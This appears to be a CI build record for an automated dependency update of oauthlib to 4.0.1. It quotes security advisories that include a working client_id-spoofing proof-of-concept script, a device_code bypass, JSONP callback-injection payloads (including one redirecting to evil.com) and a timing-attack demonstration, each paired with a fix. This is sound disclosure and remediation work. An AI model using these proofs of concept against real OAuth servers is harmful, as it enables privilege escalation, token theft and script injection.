          grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis
          creates an inconsistent identity state:\n\n```text\nrequest.client.client_id
          == \"low\"   # authenticated client\nrequest.client_id == \"high\"         #
          attacker-supplied request parameter\n```\n\nOAuthlib then calls application
          authorization hooks with both values, but uses the attacker-controlled `request.client_id`
          as the first-class `client_id` argument.\n\n##### Impact\n\nAn authenticated
          lower-privilege confidential client can obtain tokens authorized under another
          client's grant and scope policy if the application's validator follows the
          `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete
          impact can include:\n\n- issuing access tokens with scopes not assigned
          to the authenticated client;\n- allowing a low-privilege client to use a
          grant type reserved for a higher-privilege client;\n- persisting tokens
          under a spoofed `client_id` while the authenticated client object is different.\n\nThis
          is a token authorization bypass, not an unauthenticated attack. The attacker
          needs valid credentials for one client.\n\n##### PoC\n\nCreate the following
          files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport
          base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n
          \   ClientCredentialsGrant,\n    RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n
          \   TokenEndpoint,\n)\n\nclass Client:\n    def __init__(self, client_id):\n
          \       self.client_id = client_id\n\nCLIENTS = {\n    \"low\": {\n        \"secret\":
          \"low-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n
          \       \"scopes\": {\"read\"},\n    },\n    \"high\": {\n        \"secret\":
          \"high-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n
          \       \"scopes\": {\"read\", \"admin\"},\n    },\n}\n\nclass DemoValidator(RequestValidator):\n
          \   def __init__(self):\n        self.saved_tokens = []\n\n    def authenticate_client(self,
          request, *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\",
          \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n
          \           return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n
          \       client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n
          \       if record is None or record[\"secret\"] != secret:\n            return
          False\n\n        # This is the authenticated client identity.\n        request.client
          = Client(client_id)\n        return True\n\n    def client_authentication_required(self,
          request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self,
          client_id, grant_type, client, request, *args, **kwargs):\n        record
          = CLIENTS.get(client_id)\n        return record is not None and grant_type
          in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes,
          client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n
          \       return record is not None and set(scopes or []) <= record[\"scopes\"]\n\n
          \   def get_default_scopes(self, client_id, request, *args, **kwargs):\n
          \       return []\n\n    def validate_user(self, username, password, client,
          request, *args, **kwargs):\n        if username == \"alice\" and password
          == \"wonderland\":\n            request.user = username\n            return
          True\n        return False\n\n    def save_bearer_token(self, token, request,
          *args, **kwargs):\n        self.saved_tokens.append({\n            \"token\":
          dict(token),\n            \"authenticated_client_id\": request.client.client_id,\n
          \           \"request_client_id\": request.client_id,\n            \"scopes\":
          list(request.scopes or []),\n        })\n\nvalidator = DemoValidator()\ntoken
          = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n
          \   default_token_type=token,\n    grant_types={\n        \"client_credentials\":
          ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n
          \   },\n)\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n
          \   return {\"Authorization\": f\"Basic {value}\"}\n\ndef token_request(body):\n
          \   _headers, response_body, status = endpoint.create_token_response(\n
          \       \"https://auth.example/token\",\n        body=body,\n        headers=low_client_headers(),\n
          \   )\n    return status, json.loads(response_body)\n\ndef assert_rejected(label,
          body):\n    status, response = token_request(body)\n    print(label, status,
          response)\n    if status == 200:\n        raise SystemExit(f\"{label}: expected
          rejection, got success\")\n\ndef assert_spoofed_success(label, body):\n
          \   status, response = token_request(body)\n    print(label, status, response)\n
          \   if status != 200:\n        raise SystemExit(f\"{label}: expected token,
          got {status} {response}\")\n    if response.get(\"scope\") != \"admin\":\n
          \       raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n
          \   saved = validator.saved_tokens[-1]\n    if saved[\"authenticated_client_id\"]
          != \"low\":\n        raise SystemExit(f\"{label}: authenticated client changed
          unexpectedly: {saved}\")\n    if saved[\"request_client_id\"] != \"high\":\n
          \       raise SystemExit(f\"{label}: spoofed request client_id was not preserved:
          {saved}\")\n\nassert_rejected(\n    \"control client_credentials as low
          requesting admin\",\n    \"grant_type=client_credentials&client_id=low&scope=admin\",\n)\nassert_spoofed_success(\n
          \   \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials&client_id=high&scope=admin\",\n)\n\nassert_rejected(\n
          \   \"control password as low requesting admin\",\n    \"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin\",\n)\nassert_spoofed_success(\n
          \   \"spoofed password as low with client_id=high\",\n    \"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens,
          indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n.
          .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected
          result:\n\n```text\ncontrol client_credentials as low requesting admin 400
          {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high
          200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer',
          'scope': 'admin'}\ncontrol password as low requesting admin 400 {'error':
          'invalid_scope'}\nspoofed password as low with client_id=high 200 {'access_token':
          '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token':
          '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition
          is that both successful token responses are produced while the saved token
          state shows:\n\n```json\n{\n  \"authenticated_client_id\": \"low\",\n  \"request_client_id\":
          \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the
          authenticated client is `low`, while grant and scope authorization used
          the attacker-supplied `client_id=high`.\n\n##### Suggested Remediation\n\nAfter
          client authentication succeeds, OAuthlib should reject a token request if
          an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor
          authenticated confidential-client flows, a safer invariant is:\n\n```python\nif
          request.client is not None:\n    if request.client_id is not None and request.client_id
          != request.client.client_id:\n        raise InvalidClientError(...)\n    request.client_id
          = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()`
          and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au
          (Liyi), https://lzhou1110.github.io/\n- ziyue0530@&#8203;gmail.com (Ziyue),
          https://zyy0530.github.io/\n- cshe0476@&#8203;uni.sydney.edu.au (Strick),
          https://str1ckl4nd.github.io/\n- chng0012@&#8203;uni.sydney.edu.au (Maurice),
          http://maurice.busystar.org/\n- cyu210608@&#8203;gmail.com (Chenchen), https://7thparkk.github.io/\n\n####
          Severity\n- CVSS Score: 8.4 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-118669](https://nvd.nist.gov/vuln/detail/CVE-2026-118669)\n-
          [https://github.com/oauthlib/oauthlib/pull/920](https://redirect.github.com/oauthlib/oauthlib/pull/920)\n-
          [https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d](https://redirect.github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d)\n-
          [https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.0)\n-
          [https://github.com/advisories/GHSA-7984-qgvg-3j9c](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          OAuthLib: Bearer token can be retrieved as long as client knows a valid
          client ID for device workflow\n[CVE-2026-49272](https://nvd.nist.gov/vuln/detail/CVE-2026-49272)
          / [GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nA call to the token
          endpoint with a grant type of `\"urn:ietf:params:oauth:grant-type:device_code\"`
          and a bogus `device_code` is able to get a bearer token as long as they
          know a valid client ID enabled for the device workflow.\n\n##### Details\n\n[Section
          3.4 of the RFC 8628 spec](https://datatracker.ietf.org/doc/html/rfc8628#section-3.4)
          says that the token endpoint should take in `device_code` as a required
          parameter.`DeviceCodeGrant.validate_token_request` does not perform any
          validation of `device_code`. `DeviceCodeGrant.validate_token_request` should
          be validating that `device_code` was passed in as a parameter and that it
          is valid, similar to how `AuthorizationCodeGrant.validate_token_request`
          does the checks [here](https://redirect.github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L446)
          and [here](https://redirect.github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L483).\n\nI
          would like to propose a new method be added to `RequestValidator` called
          `validate_device_code` that is similar to the `validate_code` method and
          is called inside of `DeviceCodeGrant.validate_token_request`.\n\n##### PoC\nCreate
          an implementation of `RequestValidation.authenticate_client` that returns
          `True` if the client's `client_type` is `\"public\"`. You would find yourself
          in this scenario because there's another issue with `DeviceCodeGrant.validate_token_request`
          where it doesn't properly handle public clients (see [https://github.com/oauthlib/oauthlib/issues/919](https://redirect.github.com/oauthlib/oauthlib/issues/919)).\n\nCreate
          a client that has a `client_type` of `\"public\"` and set it's `grant_type`
          to `\"urn:ietf:params:oauth:grant-type:device_code\"`.\n\nWith this implementation
          of `RequestValidation.authenticate_client` done, use that validator for
          your token endpoint. Call the token endpoint with a body of \n```\n{\n  \"client_id\":
          <ID of the public client you made>,\n  \"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",\n
          \ \"device_code\": <anything you want since it's not validated>\n}\n```\n\nYou
          now have a bearer token for the client without a valid `device_code`.\n\n#####
          Impact\nAnyone using the RFC 8628 device workflow in oauthlib that doesn't
          realize the `device_code` parameter is not being validated.\n\n#### Severity\n-
          CVSS Score: 8.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc)\n-
          [https://github.com/oauthlib/oauthlib/pull/954](https://redirect.github.com/oauthlib/oauthlib/pull/954)\n-
          [https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114](https://redirect.github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114)\n-
          [https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.1)\n-
          [https://github.com/advisories/GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>oauthlib/oauthlib (oauthlib)</summary>\n\n###
          [`v4.0.1`](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.1):
          4.0.1\n\n[Compare Source](https://redirect.github.com/oauthlib/oauthlib/compare/v4.0.0...v4.0.1)\n\n####
          Security\n\n- **CVE-2026-49272** / GHSA-3jp2-3mrg-2vxc: The device code
          flow token endpoint did not validate the `device_code` parameter. A request
          with a known `client_id` and a bogus `device_code` could obtain a bearer
          token. `DeviceCodeGrant.validate_token_request` now calls `DeviceCodeGrant.validate_device_code()`,
          which rejects missing or unknown device codes (`invalid_request` / `invalid_grant`)
          and delegates the code's authorization status to the new `RequestValidator.validate_device_code()`
          hook, per RFC 8628 Section 3.5. (cherry-picked from [#&#8203;954](https://redirect.github.com/oauthlib/oauthlib/issues/954))\n\n####
          Upgrade note for device flow integrators\n\nCustom `RequestValidator` implementations
          using the device flow must now implement `validate_device_code(client_id,
          code, request)`. Return one of the `DeviceCodeGrant.DEVICE_CODE_*` statuses
          for known codes, or `None` for an unknown code. When returning `AUTHORIZED`,
          the validator must also populate `request.user` and `request.scopes` from
          the stored authorization.\n\n### [`v4.0.0`](https://redirect.github.com/oauthlib/oauthlib/blob/HEAD/CHANGELOG.rst#400-2026-09-28-)\n\n[Compare
          Source](https://redirect.github.com/oauthlib/oauthlib/compare/v3.3.1...v4.0.0)\n\nOAuth2.0
          Provider:\n\n- **Breaking**: [#&#8203;951](https://redirect.github.com/oauthlib/oauthlib/issues/951):
          Removed JSONP support from token revocation endpoint.\n  JSONP has been
          superseded by CORS for cross-origin requests.\n  The `enable_jsonp` parameter
          has been removed from `RevocationEndpoint`\n  and the `callback` parameter
          has been removed from\n  `prepare_token_revocation_request`.\n- **Breaking**:
          [#&#8203;919](https://redirect.github.com/oauthlib/oauthlib/issues/919),
          [#&#8203;920](https://redirect.github.com/oauthlib/oauthlib/issues/920):
          Fixed `DeviceCodeGrant.validate_token_request`\n  trying to authenticate
          public clients.\n  Client authentication validation has been reorganized
          and is now shared\n  across `AuthorizationCodeGrant`, `DeviceCodeGrant`,
          `RefreshTokenGrant`\n  and `ResourceOwnerPasswordCredentialsGrant`: the
          `grant_type` parameter\n  is validated before client authentication, so
          requests missing\n  `grant_type` now return `400 invalid_request` instead
          of\n  `401 invalid_client`.\n- [#&#8203;963](https://redirect.github.com/oauthlib/oauthlib/issues/963):
          Improved PKCE code comparison\n\nMisc:\n\n- [#&#8203;904](https://redirect.github.com/oauthlib/oauthlib/issues/904):
          Stop installing `examples` into `site-packages`.\n- [#&#8203;930](https://redirect.github.com/oauthlib/oauthlib/issues/930):
          Add devcontainer, Add Python3.14, Python3.14t.\n- [#&#8203;931](https://redirect.github.com/oauthlib/oauthlib/issues/931):
          Fix ruff checks about unused variables.\n- [#&#8203;932](https://redirect.github.com/oauthlib/oauthlib/issues/932):
          Dropped EOL Python 3.8 from CI.\n- [#&#8203;934](https://redirect.github.com/oauthlib/oauthlib/issues/934):
          Pre-commit hooks autoupdate.\n- [#&#8203;938](https://redirect.github.com/oauthlib/oauthlib/issues/938):
          Fix typos discovered by typos.\n- Add OAuthLib Maintainer agent for automated
          issue/PR triage and release\n  management.\n\n</details>\n\n---\n\n### Configuration\n\n\U0001F4C5
          **Schedule**: (UTC)\n\n- Branch creation\n  - At any time (no schedule defined)\n-
          Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
          Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
          **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
          checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
          about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
          to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated
          by [Mend Renovate](https://mend.io/renovate/). View the [repository job
          log](https://developer.mend.io/github/vexxhost/magnum-cluster-api).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->\n"
        change_url: https://github.com/vexxhost/magnum-cluster-api/pull/1174
        commit_id: b303d1a72e47bddc8ae9c889b85a7b158294eac1
        patchset: b303d1a72e47bddc8ae9c889b85a7b158294eac1
        project:
          canonical_hostname: github.com
          canonical_name: github.com/vexxhost/magnum-cluster-api
          name: vexxhost/magnum-cluster-api
          short_name: magnum-cluster-api
          src_dir: src/github.com/vexxhost/magnum-cluster-api
        src_dir: src/github.com/vexxhost/magnum-cluster-api
        topic: null
      buildset: d8ed31f5819e4716adcfdbce45b0d477
      buildset_refs:
      - branch: main
        change: '1174'
        change_message: "chore(deps): update dependency oauthlib to v4 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [oauthlib](https://redirect.github.com/oauthlib/oauthlib) ([changelog](https://redirect.github.com/oauthlib/oauthlib/blob/master/CHANGELOG.rst))
          | `3.3.1` \u2192 `4.0.1` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/oauthlib/4.0.1?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/oauthlib/3.3.1/4.0.1?slim=true)
          |\n\n---\n\n### Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint
          allows arbitrary JavaScript response generation\n[CVE-2026-49264](https://nvd.nist.gov/vuln/detail/CVE-2026-49264)
          / [GHSA-hj66-6f7g-4r5v](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nWhen `enable_jsonp=True`,
          oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter
          directly into JavaScript response bodies on both success and error paths
          without validating that it is a legal JSONP callback name. This allows arbitrary
          JavaScript response generation instead of a restricted function call, making
          the documented JSONP revocation feature unsafe for browser-based JSONP consumption
          when attackers can influence `callback`.\n\n##### Details\n\nThe issue is
          in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True`
          is passed to the `RevocationEndpoint` constructor, two code paths wrap the
          response body using the user-supplied `request.callback` parameter:\n\n```python\n\n#####
          Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n
          \   response_body = '{}({});'.format(request.callback, response_body)\n\n#####
          Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n
          \   response_body = request.callback + '();'\n```\n\nThe `request.callback`
          value comes from HTTP request parameters, either the query string or POST
          body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which
          merges query and body parameters into `_params`. Any value the client sends
          as `callback` is used verbatim.\n\nThere is no validation of any kind on
          the callback parameter:\n- No check that it is a valid JavaScript identifier\n-
          No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe
          JSONP implementation must validate that the callback is a legal JavaScript
          function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this,
          the attacker controls the JavaScript code returned in the response body.
          This is the standard mitigation used by jQuery, Express.js, Google APIs,
          and other major JSONP implementations.\n\n**How the injection works:**\n\nAn
          attacker sends a revocation request with a crafted callback value:\n\n```\nPOST
          /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything&callback=alert(document.cookie)//\n```\n\nThe
          server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis
          is syntactically valid JavaScript. `alert(document.cookie)` executes as
          a statement, and `//` comments out the rest of the line. The attacker has
          full control over the code that appears before the `//`.\n\n**Execution
          context and attack surface:**\n\nJSONP works by having a browser load a
          remote script via `<script src=\"...\">`. The loaded script executes in
          the origin of the **including page**, not the remote server. This means
          a `<script src=\"https://auth.example.com/revoke?token=x&callback=payload\">`
          tag on `evil.com` would execute the payload in `evil.com`'s context, not
          the auth server's context.\n\nThe impact comes from client-side integrations
          that consume this endpoint as trusted JSONP. If a legitimate OAuth client
          includes `<script src>` pointed at the revocation endpoint and an attacker
          can influence the callback value (e.g., via query parameter injection, a
          reflected value, or a man-in-the-middle downgrade), the attacker controls
          what code runs in the client application's origin. The authorization server
          becomes a source of attacker-controlled JavaScript that client applications
          trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`,
          so only deployments that explicitly opt in are affected. However, this is
          a supported, documented library feature, not a debug flag. The client-side
          library includes `prepare_token_revocation_request()` with an explicit `callback`
          parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation
          shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`,
          lines 351-358). The existing test suite tests JSONP callback reflection
          with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does
          not test for injection. Deployments that enable JSONP typically do so to
          support older browsers or cross-origin revocation from JavaScript clients,
          these are exactly the environments most sensitive to script injection.\n\n#####
          PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install
          oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation
          import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator
          import RequestValidator\n\nclass FailValidator(RequestValidator):\n    \"\"\"Auth
          fails -> triggers error response path (lines 72-73).\"\"\"\n    def client_authentication_required(self,
          request, *a, **kw): return True\n    def authenticate_client(self, request,
          *a, **kw): return False\n    def authenticate_client_id(self, client_id,
          request, *a, **kw): return False\n\nclass PassValidator(RequestValidator):\n
          \   \"\"\"Auth passes -> triggers success response path (lines 81-82).\"\"\"\n
          \   def client_authentication_required(self, request, *a, **kw): return
          False\n    def authenticate_client_id(self, client_id, request, *a, **kw):
          return True\n    def revoke_token(self, token, token_type_hint, request,
          *a, **kw): pass\n\npayloads = [\n    \"alert(document.cookie)//\",\n    \"window.location='https://evil.com/'//\",\n
          \   \"eval('malicious')//\",\n]\n\n##### --- Error path (401) ---\nprint(\"Error
          path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(),
          enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_fail.create_revocation_response(\n
          \       \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n
          \   assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}]
          Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n#####
          --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True,
          revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(),
          enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_pass.create_revocation_response(\n
          \       \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n
          \   assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}]
          Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n#####
          --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False,
          default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_,
          body, status = ep_safe.create_revocation_response(\n    \"https://auth.example.com/revoke\",
          http_method=\"POST\",\n    body=\"token=x&callback=alert(1)//\")\nassert
          \"alert\" not in body, \"Payload should not be present\"\nprint(f\"  [{status}]
          {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError
          path (enable_jsonp=True, auth fails):\n  [401] Content-Type: application/json
          \ Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n  [401]
          Content-Type: application/json  Body: window.location='https://evil.com/'//({\"error\":
          \"invalid_client\"});\n  [401] Content-Type: application/json  Body: eval('malicious')//({\"error\":
          \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n
          \ [200] Content-Type: (none)  Body: alert(document.cookie)//();\n  [200]
          Content-Type: (none)  Body: window.location='https://evil.com/'//();\n  [200]
          Content-Type: (none)  Body: eval('malicious')//();\n\nControl (enable_jsonp=False,
          default):\n  [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth
          paths reflect the attacker's payload verbatim into the response body.\n\n#####
          Impact\n\nAny oauthlib-based authorization server that enables JSONP on
          the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled
          JavaScript in its response body.\n\nAny page or application that loads this
          endpoint's response as JSONP and exposes attacker influence over the `callback`
          parameter will execute attacker-controlled code in its own origin. If a
          legitimate OAuth client uses JSONP revocation (as documented by oauthlib's
          client-side API) and an attacker can influence the callback value, the attacker
          controls what code runs in the client application, including access to the
          client page's DOM and any data normally accessible to scripts running in
          that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser
          support. Deployments that need it are typically JavaScript-heavy clients,
          exactly the environment most sensitive to script injection.\n\n**Affected
          versions:** oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized
          callback has been present since the revocation endpoint was first introduced
          in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit
          `b85f89a`) but no validation of the callback value was ever added.\n\n#####
          Suggested fix\n\nValidate the `callback` parameter against a strict pattern
          for legal JavaScript identifiers before using it in the response. Reject
          or ignore values that do not match:\n\n```python\nimport re\n\n##### Only
          allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN
          = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n#####
          In create_revocation_response(), before using request.callback:\nif self.enable_jsonp
          and request.callback:\n    if not JSONP_CALLBACK_PATTERN.match(request.callback):\n
          \       request.callback = None\n```\n\nThis is the standard mitigation
          for JSONP callback injection and is the approach used by jQuery, Express.js,
          and Google APIs. It ensures only syntactically valid function names like
          `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs
          a secondary hardening measure, when JSONP is enabled, the response should
          set `Content-Type: application/javascript` (not `application/json` or empty)
          to ensure correct browser handling. Currently the success path returns no
          Content-Type at all, and the error path returns `application/json`.\n\nAlternatively,
          if JSONP is no longer considered a necessary feature, consider deprecating
          and removing the `enable_jsonp` option entirely. CORS is now supported by
          all modern browsers and is the standard mechanism for cross-origin API access.\n\n####
          Severity\n- CVSS Score: 6.1 / 10 (Medium)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v)\n-
          [https://github.com/oauthlib/oauthlib/pull/951](https://redirect.github.com/oauthlib/oauthlib/pull/951)\n-
          [https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c](https://redirect.github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-49264](https://nvd.nist.gov/vuln/detail/CVE-2026-49264)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml)\n-
          [https://github.com/advisories/GHSA-hj66-6f7g-4r5v](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)\n[CVE-2026-49265](https://nvd.nist.gov/vuln/detail/CVE-2026-49265)
          / [GHSA-xpv3-w29h-x7cv](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nA timing side-channel
          vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization
          Code Grant flow. The `code_challenge_method_plain` function \nuses Python's
          standard `==` operator for string comparison instead of a \nconstant-time
          comparison function, potentially allowing timing-based attacks.\n\n#####
          Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n-
          Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n-
          Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n##### Technical
          Details\n\nPython's `==` operator uses short-circuit evaluation when comparing
          strings:\n1. Returns `False` immediately if lengths differ\n2. Compares
          characters left-to-right, stopping at first mismatch\n\nThis means comparison
          time varies linearly with the length of the common prefix \nbetween the
          attacker-supplied verifier and the stored challenge, creating a \nmeasurable
          timing oracle.\n\n##### Proof of Concept\n\nTested locally against oauthlib
          source (network jitter eliminated to isolate \npure Python execution time):\n\n|
          Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char
          (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 +
          `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe
          ~37ms delta over 10M iterations corresponds to nanosecond-level differences
